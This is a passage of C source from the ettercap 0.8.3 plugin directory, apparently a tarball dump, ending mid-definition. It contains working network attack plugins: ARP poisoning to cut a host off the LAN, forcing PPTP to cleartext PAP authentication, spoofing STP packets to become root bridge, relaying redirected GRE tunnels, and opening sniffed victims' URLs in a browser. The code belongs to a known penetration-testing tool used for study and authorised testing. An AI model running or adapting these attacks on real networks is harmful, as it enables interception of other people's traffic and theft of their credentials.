General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include struct ip_header { #ifndef WORDS_BIGENDIAN u_int8 ihl:4; u_int8 version:4; #else u_int8 version:4; u_int8 ihl:4; #endif u_int8 tos; u_int16 tot_len; u_int16 id; u_int16 frag_off; #define IP_DF 0x4000 #define IP_MF 0x2000 #define IP_FRAG 0x1fff u_int8 ttl; u_int8 protocol; u_int16 csum; u_int32 saddr; u_int32 daddr; /*The options start here. */ }; #ifdef WITH_IPV6 struct ip6_header { #ifndef WORDS_BIGENDIAN u_int8 version:4; u_int8 priority:4; #else u_int8 priority:4; u_int8 version:4; #endif u_int8 flow_lbl[3]; u_int16 payload_len; u_int8 next_hdr; u_int8 hop_limit; u_int8 saddr[IP6_ADDR_LEN]; u_int8 daddr[IP6_ADDR_LEN]; }; struct icmp6_nsol { u_int32 res; u_int8 target[IP6_ADDR_LEN]; }; #endif /* globals */ struct ip_addr fake_ip; /* protos */ int plugin_load(void *); static int gre_relay_init(void *); static int gre_relay_fini(void *); static void parse_gre(struct packet_object *po); static void parse_arp(struct packet_object *po); #ifdef WITH_IPV6 static void parse_nd(struct packet_object *po); #endif /* plugin operations */ struct plugin_ops gre_relay_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "gre_relay", /* a short description of the plugin (max 50 chars) */ .info = "Tunnel broker for redirected GRE tunnels", /* the plugin version. */ .version = "1.1", /* activation function */ .init = &gre_relay_init, /* deactivation function */ .fini = &gre_relay_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &gre_relay_ops); } /******************* STANDARD FUNCTIONS *******************/ static int gre_relay_init(void *dummy) { char tmp[MAX_ASCII_ADDR_LEN]; /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("gre_relay: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } /* don't display messages while operating */ EC_GBL_OPTIONS->quiet = 1; memset(tmp, 0, sizeof(tmp)); ui_input("Unused IP address: ", tmp, sizeof(tmp), NULL); /* convert IP string into ip_addr struct */ if (ip_addr_pton(tmp, &fake_ip) != E_SUCCESS) { INSTANT_USER_MSG("gre_relay: Bad IP address\n"); return PLUGIN_FINISHED; } USER_MSG("gre_relay: plugin running...\n"); hook_add(HOOK_PACKET_GRE, &parse_gre); hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); #ifdef WITH_IPV6 hook_add(HOOK_PACKET_ICMP6_NSOL, &parse_nd); #endif return PLUGIN_RUNNING; } static int gre_relay_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("gre_relay: plugin terminated...\n"); hook_del(HOOK_PACKET_GRE, &parse_gre); hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); #ifdef WITH_IPV6 hook_del(HOOK_PACKET_ICMP6_NSOL, &parse_nd); #endif return PLUGIN_FINISHED; } /*********************************************************/ /* Send back GRE packets */ static void parse_gre(struct packet_object *po) { struct ip_header *iph; #ifdef WITH_IPV6 struct ip6_header *ip6h; #endif /* Chek if this is a packet for our fake host */ if (!(po->flags & PO_FORWARDABLE)) return; if ( ip_addr_cmp(&po->L3.dst, &fake_ip) ) return; if ( po->L3.header == NULL) return; /* Switch source and dest IP address */ switch (ntohs(po->L3.dst.addr_type)) { case AF_INET: iph = (struct ip_header*)po->L3.header; iph->daddr = iph->saddr; iph->saddr = fake_ip.addr32[0]; /* Increase ttl */ iph->ttl = 128; break; #ifdef WITH_IPV6 case AF_INET6: ip6h = (struct ip6_header*)po->L3.header; ip_addr_cpy(ip6h->daddr, &po->L3.src); ip_addr_cpy(ip6h->saddr, &fake_ip); /* Increase ttl */ ip6h->hop_limit = 128; break; #endif default: return; } po->flags |= PO_MODIFIED; } /* Reply to requests for our fake host */ static void parse_arp(struct packet_object *po) { if (!ip_addr_cmp(&fake_ip, &po->L3.dst)) send_arp(ARPOP_REPLY, &fake_ip, EC_GBL_IFACE->mac, &po->L3.src, po->L2.src); } #ifdef WITH_IPV6 /* Reply to requests for our IPv6 fake host */ static void parse_nd(struct packet_object *po) { struct icmp6_nsol* nsol; struct ip_addr target; nsol = (struct icmp6_nsol*)po->L4.options; ip_addr_init(&target, AF_INET6, (u_char*)nsol->target); if (!ip_addr_cmp(&fake_ip, &target)) send_L2_icmp6_nadv(&fake_ip, &po->L3.src, EC_GBL_IFACE->mac, 0, po->L2.src); } #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/remote_browser/0000755000175000017500000000000013505247364017770 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/remote_browser/remote_browser.c0000644000175000017500000001561213505247364023177 0ustar koeppeakoeppea/* remote_browser -- ettercap plugin -- send to the browser the sniffed websites Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include /* protos */ int plugin_load(void *); static int remote_browser_init(void *); static int remote_browser_fini(void *); static void remote_browser(struct packet_object *po); static int good_page(char *str); /* plugin operations */ struct plugin_ops remote_browser_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "remote_browser", /* a short description of the plugin (max 50 chars) */ .info = "Sends visited URLs to the browser", /* the plugin version. */ .version = "1.2", /* activation function */ .init = &remote_browser_init, /* deactivation function */ .fini = &remote_browser_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &remote_browser_ops); } /*********************************************************/ static int remote_browser_init(void *dummy) { /* variable not used */ (void) dummy; /* * add the hook in the dissector. */ hook_add(HOOK_PROTO_HTTP, &remote_browser); return PLUGIN_RUNNING; } static int remote_browser_fini(void *dummy) { /* variable not used */ (void) dummy; /* remove the hook */ hook_del(HOOK_PROTO_HTTP, &remote_browser); return PLUGIN_FINISHED; } /* * parse the packet and send the fake reply */ static void remote_browser(struct packet_object *po) { char *tmp, *p, *q; char *url, *host; char *command; char **param = NULL; int i = 0, k = 0; /* the client is making a request */ if (po->DATA.disp_len != 0 && strstr((const char*)po->DATA.disp_data, "GET")) { /* I'm the sender, opening a browser with a request coming by me will trigger a loop in this function! */ if(ip_addr_is_ours(&po->L3.src) == E_FOUND || ip_addr_is_ours(&po->L3.src) == E_BRIDGE) return; /* I'm not the sender, I can safely open the browser, the GET triggered by it shouldn't cause bad effects */ tmp = strdup((const char*)po->DATA.disp_data); /* get the Host: directive */ host = strstr(tmp, "Host: "); if (host != NULL) { host = host + 6; // 6 is like strlen("Host: "); if ((p = strstr(host, "\r\n")) != NULL) *p = 0; } else goto bad; /* null terminate the request before the HTTP/x.x */ p = strstr(tmp, " HTTP"); if (p != NULL) *p = 0; else goto bad; /* get the requested url */ url = tmp + 4; // 4 is like strlen("GET "); /* parse only pages, not images or other amenities */ if (!good_page(url)) goto bad; /* fill the command */ command = strdup(EC_GBL_CONF->remote_browser); str_replace(&command, "%host", host); str_replace(&command, "%url", url); USER_MSG("REMOTE COMMAND: %s\n", command); /* split the string in the parameter array */ for (p = ec_strtok(command, " ", &q); p != NULL; p = ec_strtok(NULL, " ", &q)) { /* allocate the array */ SAFE_REALLOC(param, (i + 1) * sizeof(char *)); /* copy the tokens in the array */ param[i++] = strdup(p); } /* NULL terminate the array */ SAFE_REALLOC(param, (i + 1) * sizeof(char *)); param[i] = NULL; /* execute the script */ if (fork() == 0) { /* chrome won't start as root, changing UID in order to prevent this and for more security in the browser context */ /* the following line has been commented since some Penetration Testing distros can run only as root */ /*setuid(1000);*/ u_int uid, gid; DEBUG_MSG("drop_privs: getuid(%d) \n", getuid()); /* are we root ? */ if (getuid() == 0) { gid = uid = 1000; DEBUG_MSG("drop_privs: setuid(%d) setgid(%d)\n", uid, gid); /* drop to a good uid/gid ;) */ if ( setgid(gid) < 0 ) DEBUG_MSG("setgid() FAILED\n"); if ( setuid(uid) < 0 ) DEBUG_MSG("setuid() FAILED\n"); DEBUG_MSG("privs: UID: %d %d GID: %d %d\n", (int)getuid(), (int)geteuid(), (int)getgid(), (int)getegid() ); DEBUG_MSG("Privileges dropped to UID %d GID %d...\n\n", (int)getuid(), (int)getgid() ); /* "nobody" cannot open a browser */ } else if(getuid() == 65535) WARN_MSG("your ec_gid and ec_uid in etter.conf file are set to nobody (65535), you probably cannot open a new browser\n"); execvp(param[0], param); WARN_MSG("Cannot launch the default browser (command: %s), please edit your etter.conf file and put a valid value in remote_browser field\n", EC_GBL_CONF->remote_browser); _exit(-E_INVALID); } //to free the char **param for(k= 0; k < i; ++k) SAFE_FREE(param[k]); SAFE_FREE(param); SAFE_FREE(command); bad: SAFE_FREE(tmp); } } /* * return true if the requested URL has to be passed to * the REMOTE_COMMAND */ static int good_page(char *str) { int i; char *suffixes[] = { ".htm", ".html", ".shtml", ".phtml", ".dhtml", ".php", ".asp", ".pl", ".py", ".jsp", NULL}; /* special case if we are requesting the root */ if (!strcmp(str, "/")) return 1; /* we are requesting a directory */ if (str[strlen(str)-1] == '/') return 1; /* search a valid suffix */ for (i = 0; suffixes[i]; i++) { if (strcasestr(str, suffixes[i])) { printf("suff %s\n", suffixes[i]); return 1; } } return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/isolate/0000755000175000017500000000000013505247364016372 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/isolate/isolate.c0000644000175000017500000001362213505247364020202 0ustar koeppeakoeppea/* isolate -- ettercap plugin -- Isolate an host from the lan Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include /* globals */ LIST_HEAD(, hosts_list) victims; /* protos */ int plugin_load(void *); static int isolate_init(void *); static int isolate_fini(void *); static void parse_arp(struct packet_object *po); static int add_to_victims(struct packet_object *po); EC_THREAD_FUNC(isolate); /* plugin operations */ struct plugin_ops isolate_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "isolate", /* a short description of the plugin (max 50 chars) */ .info = "Isolate an host from the lan", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &isolate_init, /* deactivation function */ .fini = &isolate_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &isolate_ops); } /******************* STANDARD FUNCTIONS *******************/ static int isolate_init(void *dummy) { struct ip_list *t; /* variable not used */ (void) dummy; /* sanity check */ if (LIST_EMPTY(&EC_GBL_TARGET1->ips) && LIST_EMPTY(&EC_GBL_TARGET1->ip6)) { INSTANT_USER_MSG("isolate: please specify the TARGET host\n"); return PLUGIN_FINISHED; } /* * we'll use arp request to detect the hosts the victim * is trying to contact. */ hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); /* spawn a thread to force arp of already cached hosts */ LIST_FOREACH(t, &EC_GBL_TARGET1->ips, next) { ec_thread_new("isolate", "Isolate thread", &isolate, t); } return PLUGIN_RUNNING; } static int isolate_fini(void *dummy) { pthread_t pid; struct hosts_list *h, *tmp; /* variable not used */ (void) dummy; /* remove the hook */ hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); /* get those pids and kill 'em all */ while(!pthread_equal(pid = ec_thread_getpid("isolate"), EC_PTHREAD_NULL)) ec_thread_destroy(pid); /* free the list */ LIST_FOREACH_SAFE(h, &victims, next, tmp) { SAFE_FREE(h); LIST_REMOVE(h, next); } return PLUGIN_FINISHED; } /*********************************************************/ /* Parse the arp packets */ static void parse_arp(struct packet_object *po) { char tmp[MAX_ASCII_ADDR_LEN]; struct ip_list *t, *h; /* * this is the mac address used to isolate the host. * usually is the same as the victim, but can be an * non-existent one. * modify at your choice. */ u_char *isolate_mac = po->L2.src; LIST_FOREACH(h, &EC_GBL_TARGET1->ips, next) { /* process only arp requests from this host */ if (!ip_addr_cmp(&h->ip, &po->L3.src)) { int good = 0; /* is good if target 2 is any or if it is in the target 2 list */ if(EC_GBL_TARGET2->all_ip) { good = 1; } else { LIST_FOREACH(t, &EC_GBL_TARGET2->ips, next) if (!ip_addr_cmp(&t->ip, &po->L3.dst)) good = 1; } /* add to the list if good */ if (good && add_to_victims(po) == E_SUCCESS) { USER_MSG("isolate: %s added to the list\n", ip_addr_ntoa(&po->L3.dst, tmp)); /* send the fake reply */ send_arp(ARPOP_REPLY, &po->L3.dst, isolate_mac, &po->L3.src, po->L2.src); } } } } /* * add a victim to the list for the active thread. */ static int add_to_victims(struct packet_object *po) { struct hosts_list *h; /* search if it was already inserted in the list */ LIST_FOREACH(h, &victims, next) if (!ip_addr_cmp(&h->ip, &po->L3.src)) return -E_NOTHANDLED; SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &po->L3.dst, sizeof(struct ip_addr)); /* insert in the list with the mac address of the requester */ memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&victims, h, next); return E_SUCCESS; } /* * the real isolate thread */ EC_THREAD_FUNC(isolate) { struct hosts_list *h; struct ip_list *t; /* init the thread and wait for start up */ ec_thread_init(); /* get the host to be isolated */ t = args; /* never ending loop */ LOOP { CANCELLATION_POINT(); /* walk the lists and poison the victims */ LIST_FOREACH(h, &victims, next) { /* send the fake arp message */ send_arp(ARPOP_REPLY, &h->ip, h->mac, &t->ip, h->mac); ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay)); } /* sleep between two storms */ ec_usleep(SEC2MICRO(EC_GBL_CONF->arp_poison_warm_up * 3)); } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/pptp_pap/0000755000175000017500000000000013505247364016555 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/pptp_pap/pptp_pap.c0000644000175000017500000001205213505247364020544 0ustar koeppeakoeppea/* pptp_pap -- ettercap plugin -- Forces PAP during PPTP negotiation (it almost fails) Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include struct ppp_lcp_header { u_char code; u_char ident; u_int16 length; }; #define PPP_CONFIGURE_REQUEST 0x01 #define PPP_CONFIGURE_NAK 0x03 #define PPP_CONFIGURE_REJ 0x04 #define PPP_AUTH_REQUEST 0x03 #define PPP_REQUEST_PAP 0xc023 #define PPP_REQUEST_CHAP 0xc223 #define PPP_DUMMY_REQUEST 0xce23 /* protos */ int plugin_load(void *); static int pptp_pap_init(void *); static int pptp_pap_fini(void *); static void parse_ppp(struct packet_object *po); static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len); /* plugin operations */ struct plugin_ops pptp_pap_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "pptp_pap", /* a short description of the plugin (max 50 chars) */ .info = "PPTP: Forces PAP authentication", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &pptp_pap_init, /* deactivation function */ .fini = &pptp_pap_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &pptp_pap_ops); } /******************* STANDARD FUNCTIONS *******************/ static int pptp_pap_init(void *dummy) { /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("pptp_pap: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } USER_MSG("pptp_pap: plugin running...\n"); hook_add(HOOK_PACKET_LCP, &parse_ppp); return PLUGIN_RUNNING; } static int pptp_pap_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("pptp_pap: plugin terminated...\n"); hook_del(HOOK_PACKET_LCP, &parse_ppp); return PLUGIN_FINISHED; } /*********************************************************/ /* Modify ConfigureRequest LCP packets */ static void parse_ppp(struct packet_object *po) { struct ppp_lcp_header *lcp; u_int16 *option; char tmp[MAX_ASCII_ADDR_LEN]; /* It is pointless to modify packets that won't be forwarded */ if (!(po->flags & PO_FORWARDABLE)) return; /* PPP decoder placed lcp header in L4 structure. * According to the Hook Point this is an LCP packet. */ lcp = (struct ppp_lcp_header *)po->L4.header; /* Catch only packets that have to be modified */ if ( lcp->code != PPP_CONFIGURE_REQUEST && lcp->code != PPP_CONFIGURE_NAK && lcp->code != PPP_CONFIGURE_REJ) return; if ( (option=(u_int16 *)parse_option((u_char *)(lcp + 1), PPP_AUTH_REQUEST, ntohs(lcp->length) - sizeof(*lcp))) ==NULL) return; if ( option[1] == htons(PPP_REQUEST_PAP) ) return; /* Modify the negotiation */ if ( lcp->code == PPP_CONFIGURE_REJ && option[1] == htons(PPP_DUMMY_REQUEST) ) { /* We assume an original CHAP request that we have converted into DUMMY */ option[1] = htons(PPP_REQUEST_CHAP); } else if (lcp->code == PPP_CONFIGURE_REQUEST) option[1] = htons(PPP_DUMMY_REQUEST); else if (lcp->code == PPP_CONFIGURE_NAK) { option[1] = htons(PPP_REQUEST_PAP); if (!ip_addr_null(&po->L3.dst) && !ip_addr_null(&po->L3.src)) { USER_MSG("pptp_pap: Forced PPP clear text auth %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); } } } /* Search an option in the packet */ static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len) { /* Avoid never-ending parsing on bogus packets ;) */ char counter=0; while (tot_len>0 && *buffer!=option && counter<20) { tot_len -= buffer[1]; buffer += buffer[1]; counter++; } if (*buffer == option) return buffer; return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/reply_arp/0000755000175000017500000000000013505247364016727 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/reply_arp/reply_arp.c0000644000175000017500000000645013505247364021075 0ustar koeppeakoeppea/* reply_arp -- ettercap plugin -- Simple arp responder Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include /* protos */ int plugin_load(void *); static int reply_arp_init(void *); static int reply_arp_fini(void *); static void parse_arp(struct packet_object *po); /* plugin operations */ struct plugin_ops reply_arp_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "reply_arp", /* a short description of the plugin (max 50 chars) */ .info = "Simple arp responder", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &reply_arp_init, /* deactivation function */ .fini = &reply_arp_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &reply_arp_ops); } /******************* STANDARD FUNCTIONS *******************/ static int reply_arp_init(void *dummy) { /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("reply_arp: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_RUNNING; } static int reply_arp_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("reply_arp: plugin terminated...\n"); hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_FINISHED; } /*********************************************************/ /* Reply to requests for hosts in the target lists */ static void parse_arp(struct packet_object *po) { struct ip_list *i; int in_list = 0; if (EC_GBL_TARGET1->scan_all || EC_GBL_TARGET2->scan_all) in_list = 1; LIST_FOREACH(i, &EC_GBL_TARGET1->ips, next) { if (!ip_addr_cmp(&i->ip, &po->L3.dst)) { in_list = 1; break; } } LIST_FOREACH(i, &EC_GBL_TARGET2->ips, next) { if (!ip_addr_cmp(&i->ip, &po->L3.dst)) { in_list = 1; break; } } if (in_list) send_arp(ARPOP_REPLY, &po->L3.dst, EC_GBL_IFACE->mac, &po->L3.src, po->L2.src); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/stp_mangler/0000755000175000017500000000000013505247364017245 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/stp_mangler/stp_mangler.c0000644000175000017500000001174313505247364021732 0ustar koeppeakoeppea/* stp_mangler -- ettercap plugin -- Become root of a switches spanning tree Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include /* globals */ struct eth_header { u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ u_int16 proto; /* packet type ID field */ }; struct llc_header { u_int8 dsap; u_int8 ssap; u_int8 cf; u_int16 protocolid; u_int8 version; u_int8 BPDU_type; u_int8 BPDU_flags; }; struct stp_header { u_int16 root_priority; u_int8 root_id[6]; u_int8 root_path_cost[4]; u_int16 bridge_priority; u_int8 bridge_id[6]; u_int16 port_id; u_int16 message_age; u_int16 max_age; u_int16 hello_time; u_int16 forward_delay; }; #define FAKE_PCK_LEN 60 struct packet_object fake_po; char fake_pck[FAKE_PCK_LEN]; /* protos */ int plugin_load(void *); static int stp_mangler_init(void *); static int stp_mangler_fini(void *); EC_THREAD_FUNC(mangler); /* plugin operations */ struct plugin_ops stp_mangler_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "stp_mangler", /* a short description of the plugin (max 50 chars) */ .info = "Become root of a switches spanning tree", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &stp_mangler_init, /* deactivation function */ .fini = &stp_mangler_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &stp_mangler_ops); } /******************* STANDARD FUNCTIONS *******************/ static int stp_mangler_init(void *dummy) { /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("stp_mangler: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } INSTANT_USER_MSG("stp_mangler: Start sending fake STP packets...\n"); /* create the flooding thread */ ec_thread_new("mangler", "STP mangler thread", &mangler, NULL); return PLUGIN_RUNNING; } static int stp_mangler_fini(void *dummy) { pthread_t pid; /* variable not used */ (void) dummy; pid = ec_thread_getpid("mangler"); /* the thread is active or not ? */ if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); INSTANT_USER_MSG("stp_mangler: plugin stopped...\n"); return PLUGIN_FINISHED; } EC_THREAD_FUNC(mangler) { struct eth_header *heth; struct llc_header *hllc; struct stp_header *hstp; u_char MultiMAC[6]={0x01,0x80,0xc2,0x00,0x00,0x00}; /* variable not used */ (void) EC_THREAD_PARAM; /* Avoid crappy compiler alignment :( */ heth = (struct eth_header *)fake_pck; hllc = (struct llc_header *)(fake_pck + 14); hstp = (struct stp_header *)(fake_pck + 22); /* Create a fake STP packet */ heth->proto = htons(0x0026); memcpy(heth->dha, MultiMAC, ETH_ADDR_LEN); memcpy(heth->sha, EC_GBL_IFACE->mac, ETH_ADDR_LEN); hllc->dsap = 0x42; hllc->ssap = 0x42; hllc->cf = 0x03; hstp->root_priority = 0; memcpy(hstp->root_id, EC_GBL_IFACE->mac, ETH_ADDR_LEN); hstp->bridge_priority = 0; memcpy(hstp->bridge_id, EC_GBL_IFACE->mac, ETH_ADDR_LEN); hstp->port_id = htons(0x8000); hstp->max_age = htons_inv(20); hstp->hello_time = htons_inv(2); hstp->forward_delay = htons_inv(15); packet_create_object(&fake_po, (u_char*)fake_pck, FAKE_PCK_LEN); /* init the thread and wait for start up */ ec_thread_init(); LOOP { CANCELLATION_POINT(); /* Send on the wire and wait */ send_to_L2(&fake_po); ec_usleep(SEC2MICRO(1)); } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/nbns_spoof/0000755000175000017500000000000013505247364017100 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/nbns_spoof/nbns_spoof.c0000644000175000017500000002735513505247364021426 0ustar koeppeakoeppea/* nbns_spoof -- ettercap plugin -- spoofs NBNS replies Copyright (C) Ettercap team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include #include /* required for plugin ops */ #include #include #include #include #include #include #define TYPE_NB 0x0020 #define TYPE_NBSTAT 0x0021 #define CLASS_IN 0x0001 #define NBNS_NAME_LEN 34 #define NBNS_DECODED_NAME_LEN 16 /* From LWIP */ #define OPCODE_R 0x8000 /*OPCODE 1-4 Operation specifier: 0 = query 5 = registration 6 = release 7 = WACK 8 = refresh */ #define OPCODE_MASK 0x7800 #define OPCODE_QUERY 0x0000 #define OPCODE_REGISTRATION 0x2800 #define OPCODE_RELEASE 0x3000 #define OPCODE_WACK 0x3800 #define OPCODE_REFRESH 0x4000 /* NM_FLAGS subfield bits */ #define NM_AA_BIT 0x0400 /* Authoritative Answer */ #define NM_TR_BIT 0x0200 /* TRuncation flag */ #define NM_RD_BIT 0x0100 /* Recursion Desired */ #define NM_RA_BIT 0x0080 /* Recursion Available */ #define NM_B_BIT 0x0010 /* Broadcast flag */ /* Return Codes */ #define RCODE_POS_RSP 0x0000 /* Positive Response */ #define RCODE_FMT_ERR 0x0001 /* Format Error */ #define RCODE_SRV_ERR 0x0002 /* Server failure */ #define RCODE_NAM_ERR 0x0003 /* Name Not Found */ #define RCODE_IMP_ERR 0x0004 /* Unsupported request */ #define RCODE_RFS_ERR 0x0005 /* Refused */ #define RCODE_ACT_ERR 0x0006 /* Active error */ #define RCODE_CFT_ERR 0x0007 /* Name in conflict */ #define RCODE_MASK 0x0007 /* Mask */ struct nbns_header { u_int16 transactid; /* Transaction ID */ #ifdef WORDS_BIGENDIAN u_char response: 1; /* response or query */ u_char opcode: 4; /* opcode */ /* nm_flags */ u_char aa: 1; u_char tc: 1; u_char rd: 1; u_char ra: 1; u_char unused: 2; u_char broadcast: 1; u_char rcode: 4; /* RCODE */ #else u_char rd: 1; u_char tc: 1; u_char aa: 1; u_char opcode: 4; u_char response: 1; u_char rcode: 4; u_char broadcast: 1; u_char unused: 2; u_char ra: 1; #endif u_int16 qd_count; /* QDCOUNT */ u_int16 an_count; /* AN_COUNT */ u_int16 ns_count; /* NS_COUNT */ u_int16 ar_count; /* AR_COUNT */ }; /** NBNS rdata field */ struct nbns_rdata { u_int16 len; u_int16 nbflags; u_int32 addr; }; #define NBNS_MSGLEN_QUERY_RESPONSE 70 #define NBNS_TTL_POS 12+1+NBNS_NAME_LEN+1+2+2 #define NBNS_RDATA_POS NBNS_TTL_POS + 2 #define NBNS_QUERY_POS 12 struct nbns_query { struct nbns_header header; char question[NBNS_NAME_LEN]; u_int16 type; u_int16 class; }; struct nbns_response { struct nbns_header header; char rr_name[NBNS_NAME_LEN]; /* RR_NAME */ u_int16 type; u_int16 class; u_int32 ttl; struct nbns_rdata rr_data; }; struct nbns_spoof_entry { char *name; struct ip_addr ip; /* no ipv6 nbns */ SLIST_ENTRY(nbns_spoof_entry) next; }; static SLIST_HEAD(, nbns_spoof_entry) nbns_spoof_head; /* * SMB portion */ typedef struct { u_char proto[4]; u_char cmd; u_char err[4]; u_char flags1; u_short flags2; u_short pad[6]; u_short tid, pid, uid, mid; } SMB_header; typedef struct { u_char mesg; u_char 